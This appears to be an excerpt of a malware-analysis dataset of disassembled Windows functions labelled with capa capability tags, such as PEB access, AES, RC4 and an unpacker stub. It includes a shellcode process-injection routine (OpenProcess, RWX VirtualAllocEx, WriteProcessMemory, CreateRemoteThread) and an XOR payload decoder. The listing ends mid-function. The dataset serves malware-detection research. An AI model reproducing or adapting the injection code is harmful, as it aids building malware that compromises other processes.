joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43ff80
Capabilities:
Access peb ldr_data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [0x009a3370]
test rcx, rcx
jne 0x43ffa4
xor ecx, ecx
xor edx, edx
jmp 0x43ffb9
call fcn.00454360
mov rcx, rbx
mov rdx, rax
mov rax, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov qword [rsp + 0x10], rcx
mov qword [rsp + 0x18], rdx
mov qword [rsp + 0x20], r14
mov rsi, qword [r14 + 0x30]
inc dword [rsi + 0xd8]
mov qword [r14 + 0x10], 0xfffffffffffffade
mov byte [r14 + 0xb7], 1
call fcn.0043ff20
mov rcx, qword [rsp + 0x68]
mov rax, qword [rsp + 0x20]
mov qword [rax + 0x70], rcx
mov rdx, qword [rsp + 0x60]
mov qword [rax + 0x78], rdx
mov ebx, 2
mov ecx, 3
call fcn.00439840
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rcx + 0x70]
cmp qword [rcx], rdx
ja 0x440026
nop dword [rax + rax]
cmp qword [rcx + 8], rdx
jae 0x440062
movups xmmword [rsp + 0x40], xmm15
lea rax, [0x00440280]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
lea rax, [rsp + 0x40]
mov qword [rsp], rax
call fcn.00460a60
xorps xmm15, xmm15
mov r14, qword [0x009a35b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x10]
test rax, rax
je 0x4400cb
movups xmmword [rsp + 0x28], xmm15
mov qword [rsp + 0x38], 0
lea rcx, [0x00440200]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x18]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x28]
mov qword [rsp], rax
nop
call fcn.00460a60
xorps xmm15, xmm15
mov r14, qword [0x009a35b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
call fcn.0043ff20
mov rcx, qword [rsp + 0x20]
mov al, byte [0x0091fa58]
test al, al
je 0x44010b
lea rax, [0x0088d788]
mov qword [rsp], rax
call fcn.00460a60
xorps xmm15, xmm15
mov r14, qword [0x009a35b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
call fcn.0043ff20
mov rcx, qword [rsp + 0x20]
mov rax, qword [rcx + 0x30]
mov rax, qword [rax + 0xa0]
test byte [rax], al
cmp dword [rax + 0x2298], 0
nop
je 0x440158
lea rax, fcn.0043b0c0
mov qword [rsp], rax
call fcn.00460a60
xorps xmm15, xmm15
mov r14, qword [0x009a35b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
call fcn.0043ff20
mov rcx, qword [rsp + 0x20]
mov rax, qword [rcx + 0x30]
mov rdx, qword [rax + 0xa0]
mov edx, dword [rdx + 0x14]
mov dword [rax + 0x388], edx
mov rax, qword [rcx + 0x30]
mov rax, qword [rax + 0xa0]
mov qword [rax + 0x38], 0
mov rdx, qword [rcx + 0x30]
mov rbx, rax
mov qword [rdx + 0xb0], rax
mov rax, qword [rcx + 0x30]
mov qword [rax + 0xa0], 0
mov eax, 2
xchg dword [rbx + 4], eax
mov al, byte [0x0091fa48]
test al, al
je 0x4401e4
lea rax, [0x0088d780]
mov qword [rsp], rax
call fcn.00460a60
xorps xmm15, xmm15
mov r14, qword [0x009a35b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
call fcn.0043ff20
mov rcx, qword [rsp + 0x20]
mov rax, qword [rcx + 0x30]
dec dword [rax + 0xd8]
add rsp, 0x50
pop rbp
ret
Function at 0x444e80
Capabilities:
Encode data using base64

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x444fe7
push rbp
mov rbp, rsp
sub rsp, 0x18
mov ecx, dword [rax + 0x190]
mov edx, dword [rax + 0x194]
mov rsi, qword [rax + 0x998]
mov edi, dword [rax + 0x194]
cmp edi, edx
jne 0x444e92
cmp edx, ecx
jne 0x444fd5
nop word [rax + rax]
test rsi, rsi
jne 0x444fd5
mov qword [rsp + 0x28], rax
test rbx, rbx
jne 0x444ef4
nop
call fcn.00464760
xorps xmm15, xmm15
mov r14, qword [0x009a35b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rbx, qword [rsp]
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x10], rbx
call fcn.00444da0
mov rcx, qword [rsp + 0x28]
mov edx, dword [rcx]
mov ebx, edx
sar edx, 0x1f
shr edx, 0x1b
add edx, ebx
mov esi, edx
and edx, 0xffffffe0
sub ebx, edx
test ebx, ebx
jl 0x444fd0
mov rdx, qword [0x0091e8c8]
sar esi, 5
mov rax, rcx
mov ecx, ebx
mov edi, 1
shl edi, cl
movsxd rsi, esi
cmp ecx, 0x20
sbb r8d, r8d
and edi, r8d
cmp rdx, rsi
jbe 0x444fc5
mov rcx, qword [0x0091e8c0]
lea rcx, [rcx + rsi*4]
lock or dword [rcx], edi
mov rcx, qword [0x0091f9b0]
mov qword [rax + 8], rcx
mov rcx, rax
nop
mov qword [0x0091f9b0], rax
nop
mov edx, 1
lea rsi, [0x0091f9b8]
lock xadd dword [rsi], edx
mov rdx, qword [rcx + 0x1248]
shr rdx, 0x3d
test dl, dl
jne 0x444fb3
mov rax, qword [rsp + 0x10]
movabs rdx, 0x1fffffffffffffff
and rdx, rax
bts rdx, 0x3f
nop
nop
xchg qword [rcx + 0x1248], rdx
add rsp, 0x18
pop rbp
ret
lea rax, [0x004aed95]
mov ebx, 0x28
nop
call fcn.00434ec0
mov rax, rsi
mov rcx, rdx
call fcn.00462e60
call fcn.00433aa0
lea rax, [0x004ae101]
mov ebx, 0x23
call fcn.00434ec0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00460b80
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00444e80
Function at 0x448a40
Capabilities:
Access peb ldr_data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rcx, r14
test rcx, rcx
je 0x448a88
mov rcx, qword [rcx + 0x30]
mov rcx, qword [rcx + 0x90]
nop dword [rax + rax]
test rcx, rcx
je 0x448a88
mov qword [rsp + 0x68], rcx
nop
mov rax, qword [rdi + 0x28]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
jmp 0x448a98
mov eax, 1
add rsp, 0x70
pop rbp
ret
mov rax, qword [rsp + 0x60]
mov rcx, qword [sym.imp.kernel32.dll_RtlLookupFunctionEntry]
lea rdx, [rsp + 0x58]
mov rbx, qword [rax + 0xf8]
mov qword [rsp], rcx
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], 0
call fcn.004328c0
xorps xmm15, xmm15
mov r14, qword [0x009a35b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x20]
nop
test rax, rax
je 0x448b71
mov rcx, qword [rsp + 0x58]
mov rdx, qword [sym.imp.kernel32.dll_RtlVirtualUnwind]
mov rbx, qword [rsp + 0x60]
mov rsi, rbx
lea rdi, [rsp + 0x50]
mov r8, qword [rsi + 0xf8]
mov qword [rsp], rdx
mov qword [rsp + 8], 0
mov qword [rsp + 0x10], rcx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], 0
call fcn.00432b40
xorps xmm15, xmm15
mov r14, qword [0x009a35b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x68]
cmp qword [rcx], rax
ja 0x448b71
cmp qword [rcx + 8], rax
ja 0x448a93
mov eax, 1
add rsp, 0x70
pop rbp
ret
Function at 0x450480
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x20], rax
test rbx, rbx
jbe 0x4505f7
movzx edx, byte [rax]
test edx, edx
jne 0x4504b4
nop dword [rax]
test r8b, r8b
jne 0x4504b4
xor eax, eax
xor ebx, ebx
mov rcx, rbx
xor edi, edi
add rsp, 0x10
pop rbp
ret
bt edx, 7
jae 0x4504c7
xor edx, edx
xor r8d, r8d
xor r9d, r9d
jmp 0x4505b7
mov r8d, 1
mov r9d, edx
and edx, 1
neg edx
shr r9d, 1
xor edx, r9d
add dword [rsi], edx
nop dword [rax]
cmp rbx, r8
jb 0x4505a5
sub rbx, r8
sub rcx, r8
mov rdx, rcx
neg rdx
sar rdx, 0x3f
and r8, rdx
lea rdx, [rax + r8]
test rbx, rbx
jbe 0x450597
movzx esi, byte [rax + r8]
bt esi, 7
jae 0x45051d
xor eax, eax
xor esi, esi
xor r8d, r8d
jmp 0x450560
mov eax, 1
cmp rax, rbx
ja 0x45054b
add qword [rdi], rsi
sub rcx, rax
sub rbx, rax
mov rsi, rcx
neg rsi
sar rsi, 0x3f
and rax, rsi
add rax, rdx
mov edi, 1
add rsp, 0x10
pop rbp
ret
mov rcx, rbx
call fcn.00462f20
lea r8d, [rcx + 7]
mov rcx, r11
mov eax, r12d
nop dword [rax]
cmp rax, rbx
jae 0x45058f
movzx r9d, byte [rax + rdx]
mov r10d, r9d
and r9d, 0x7f
mov r11, rcx
mov ecx, r8d
shl r9d, cl
lea r12d, [rax + 1]
or esi, r9d
test r10b, 0x80
jne 0x450553
mov rcx, r11
mov eax, r12d
jmp 0x450522
mov rcx, rbx
call fcn.00462e60
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.00462e60
mov eax, r8d
mov rcx, rbx
call fcn.00462f20
lea r9d, [rcx + 7]
mov rcx, r12
cmp rbx, rdx
jbe 0x4505ed
movzx r10d, byte [rdx + rax]
mov r11d, r10d
and r10d, 0x7f
mov r12, rcx
mov ecx, r9d
shl r10d, cl
inc edx
or r8d, r10d
test r11b, 0x80
jne 0x4505b0
mov rcx, r12
mov r9d, edx
mov edx, r8d
mov r8d, r9d
jmp 0x4504cd
mov eax, edx
mov rcx, rbx
call fcn.00462e60
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.00462e60
nop
int3

Function at 0x4561c0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x456275
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rdi
test byte [rax], al
lea rdx, [rax + 0x10]
mov rsi, qword [rsp + 0x68]
mov rcx, rdi
mov rax, rdx
mov rbx, rsi
call fcn.00453e40
nop
test bl, bl
je 0x45626f
mov qword [rsp + 0x18], rax
movups xmmword [rsp + 0x20], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
lea rcx, [0x004562c0]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x20]
mov qword [rsp], rcx
call fcn.00460a60
xorps xmm15, xmm15
mov r14, qword [0x009a35b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x18]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.00460b80
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.004561c0
Function at 0x4591c0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x45926f
push rbp
mov rbp, rsp
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x68]
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rsi, [0x004592c0]
mov qword [rsp + 0x10], rsi
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdx
mov rdx, r14
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.00460a60
xorps xmm15, xmm15
mov r14, qword [0x009a35b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
add rsp, 0x58
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.00460b80
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
nop dword [rax]
jmp fcn.004591c0
Function at 0x462980
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x404403
push rbp
mov rbp, rsp
sub rsp, 0x18
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
call fcn.0040a1a0
add rsp, 0x18
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00460b80
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x4043e0
cmp byte [0x009a33a8], 0
je 0x462995
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x45fbc0
jmp 0x4043e0

Function at 0x4629a0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov eax, dword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x009a3680]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d124b
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x009a33a8], 0
je 0x4629d5
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x009a39a0]
aesenc xmm0, xmmword [0x009a39b0]
aesenc xmm0, xmmword [0x009a39c0]
movq rax, xmm0
ret
jmp 0x40a3c0

Function at 0x4629e0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x009a3680]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x009a33a8], 0
je 0x462a16
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x009a39a0]
aesenc xmm0, xmmword [0x009a39b0]
aesenc xmm0, xmmword [0x009a39c0]
movq rax, xmm0
ret
jmp 0x40a420

Function at 0x4647a0
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
mov rbp, rsp
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x4647d4
mov rcx, 0x28
jmp 0x4647df
shl rcx, 3
add rcx, 0x1480
mov qword [0x009a35b0], rcx
pop rbp
ret
Function at 0x46db60
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x46dc2a
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call fcn.00403960
xorps xmm15, xmm15
mov r14, qword [0x009a35b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x46dc0f
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x00493d00]
xor ebx, ebx
mov rcx, rdx
call fcn.004495c0
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call fcn.0046dec0
inc rbx
cmp rcx, rbx
jae 0x46dbfe
mov edi, 1
lea rsi, [0x00493d00]
call fcn.004496a0
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x008a7378]
lea rsi, [0x008a6d30]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00460b80
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.0046db60
Function at 0x3e58570
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x3e5857d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x3e5858d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x3e58575
lea eax, [rcx + 1]
jmp 0x3e5859b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x3e585ae
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x3e58594
sub eax, 3
jb 0x3e585ce
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x3e5861d
sar eax, 1
movsxd rbp, eax
jb 0x3e58604
jmp 0x3e585dc
add ebx, ebx
jne 0x3e585da
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x3e58604
inc ecx
add ebx, ebx
jne 0x3e585ea
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x3e58604
call r11
adc ecx, ecx
add ebx, ebx
jne 0x3e585fd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x3e585ec
add ecx, 2
jmp 0x3e58609
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.03e58532
jmp 0x3e5857d
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x3a52000]
mov eax, dword [rdi]
or eax, eax
je 0x3e58679
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x3ab0d9c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x3e58629
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x3e58673
mov qword [rbx], rax
add rbx, 8
jmp 0x3e58649
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x3e586d1
sub rsp, 0xffffffffffffff80
jmp 0x21eeea0
Function at 0x14000cf80
Capabilities:
Accept command line arguments

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x70
xor ebx, ebx
mov dword [rsp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x50], rax
mov rdi, rax
test rax, rax
jne 0x14000cfbd
lea rax, [rbx - 1]
add rsp, 0x70
pop r15
pop rdi
pop rbx
ret
mov eax, dword [rsp + 0x40]
mov r15, 0xffffffffffffffff
inc eax
mov qword [rsp + 0x98], rsi
movsxd rcx, eax
mov eax, 8
mul rcx
mov qword [rsp + 0x60], r14
cmovo rax, r15
mov rcx, rax
call fcn.14000d11c
mov r14, rax
mov qword [rsp + 0x48], rax
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x14000d0bc
mov qword [rsp + 0x90], rbp
mov qword [rsp + 0xa0], r12
mov r12, r14
mov qword [rsp + 0x68], r13
mov r13, rdi
sub r13, r14
mov r14d, ebx
nop dword [rax]
nop word [rax + rax]
mov rbp, qword [r12 + r13]
mov r9d, r15d
mov qword [rsp + 0x38], rbx
mov r8, rbp
mov qword [rsp + 0x30], rbx
xor edx, edx
mov dword [rsp + 0x28], ebx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
mov rcx, rdi
call fcn.14000d11c
mov qword [rsp + 0x38], rbx
mov r9d, r15d
mov qword [rsp + 0x30], rbx
mov r8, rbp
mov dword [rsp + 0x28], edi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov qword [r12], rsi
lea r12, [r12 + 8]
mov eax, dword [rsp + 0x40]
inc r14d
cmp r14d, eax
jne 0x14000d030
mov r14, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov r13, qword [rsp + 0x68]
mov r12, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0x90]
cdqe
mov rcx, rdi
mov qword [r14 + rax*8], rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [rsp + 0x40]
mov rdx, r14
call fcn.14000a9b0
mov esi, eax
cmp dword [rsp + 0x40], ebx
je 0x14000d0fb
mov rdi, r14
mov rcx, qword [rdi]
test rcx, rcx
je 0x14000d0fb
call fcn.14000bdb4
inc ebx
add rdi, 8
cmp ebx, dword [rsp + 0x40]
jne 0x14000d0e2
mov rcx, r14
call fcn.14000bdb4
mov r14, qword [rsp + 0x60]
mov eax, esi
mov rsi, qword [rsp + 0x98]
add rsp, 0x70
pop r15
pop rdi
pop rbx
ret
Function at 0x140001163
Capabilities:
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140005bd0
mov eax, 0x14f678
call fcn.1400010aa
sub rsp, rax
mov rax, qword [0x140b12800]
xor rax, rsp
mov qword [rsp + 0x14f670], rax
mov dword [rsp + 0x5c], ecx
lea rcx, [rsp + 0x60]
lea rdx, [0x1407ebb70]
mov r8d, 0x14f601
call sub.VCRUNTIME140D.dll_memcpy
mov edx, dword [rsp + 0x5c]
lea rcx, str.Injecting_to_PID:__i
call fcn.140001208
mov r8d, dword [rsp + 0x5c]
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
xor eax, eax
mov edx, eax
mov r8d, 0x14f601
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x60]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
mov r9d, 0x14f601
xor eax, eax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
xor eax, eax
mov r8d, eax
xor eax, eax
mov rdx, r8
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x14f670]
xor rcx, rsp
call fcn.14000121c
nop
add rsp, 0x14f678
ret

Function at 0x14000125d
Capabilities:
Terminate process

Disassembly:
jmp 0x140007a30
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400012ee
Capabilities:
Parse pe header

Disassembly:
jmp 0x140008e30
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140008e50
xor al, al
jmp 0x140008ed1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140008e63
xor al, al
jmp 0x140008ed1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140008e8d
xor al, al
jmp 0x140008ed1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140008ea1
xor al, al
jmp 0x140008ed1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140008eb3
xor al, al
jmp 0x140008ed1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140008ecf
xor al, al
jmp 0x140008ed1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400013ca
Capabilities:
Terminate process

Disassembly:
jmp 0x140004dc0
sub rsp, 0x48
mov byte [rsp + 0x47], cl
lea rax, [0x1406593ec]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x34], 0x14f601
movsxd rcx, dword [rsp + 0x34]
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140004e1d
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Memory_allocation_failed._n
call fcn.1400013bb
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x24]
cmp eax, dword [rsp + 0x34]
jge 0x140004e67
mov rax, qword [rsp + 0x38]
movsxd rcx, dword [rsp + 0x24]
movzx eax, byte [rax + rcx]
movzx ecx, byte [rsp + 0x47]
xor eax, ecx
mov dl, al
mov rax, qword [rsp + 0x28]
movsxd rcx, dword [rsp + 0x24]
mov byte [rax + rcx], dl
mov eax, dword [rsp + 0x24]
add eax, 1
mov dword [rsp + 0x24], eax
jmp 0x140004e25
add rsp, 0x48
ret

Function at 0x140004dc0
Capabilities:
Terminate process

Disassembly:
jmp 0x140004dc0
sub rsp, 0x48
mov byte [rsp + 0x47], cl
lea rax, [0x1406593ec]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x34], 0x14f601
movsxd rcx, dword [rsp + 0x34]
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140004e1d
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Memory_allocation_failed._n
call fcn.1400013bb
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x24]
cmp eax, dword [rsp + 0x34]
jge 0x140004e67
mov rax, qword [rsp + 0x38]
movsxd rcx, dword [rsp + 0x24]
movzx eax, byte [rax + rcx]
movzx ecx, byte [rsp + 0x47]
xor eax, ecx
mov dl, al
mov rax, qword [rsp + 0x28]
movsxd rcx, dword [rsp + 0x24]
mov byte [rax + rcx], dl
mov eax, dword [rsp + 0x24]
add eax, 1
mov dword [rsp + 0x24], eax
jmp 0x140004e25
add rsp, 0x48
ret
Function at 0x140005bd0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140005bd0
mov eax, 0x14f678
call fcn.1400010aa
sub rsp, rax
mov rax, qword [0x140b12800]
xor rax, rsp
mov qword [rsp + 0x14f670], rax
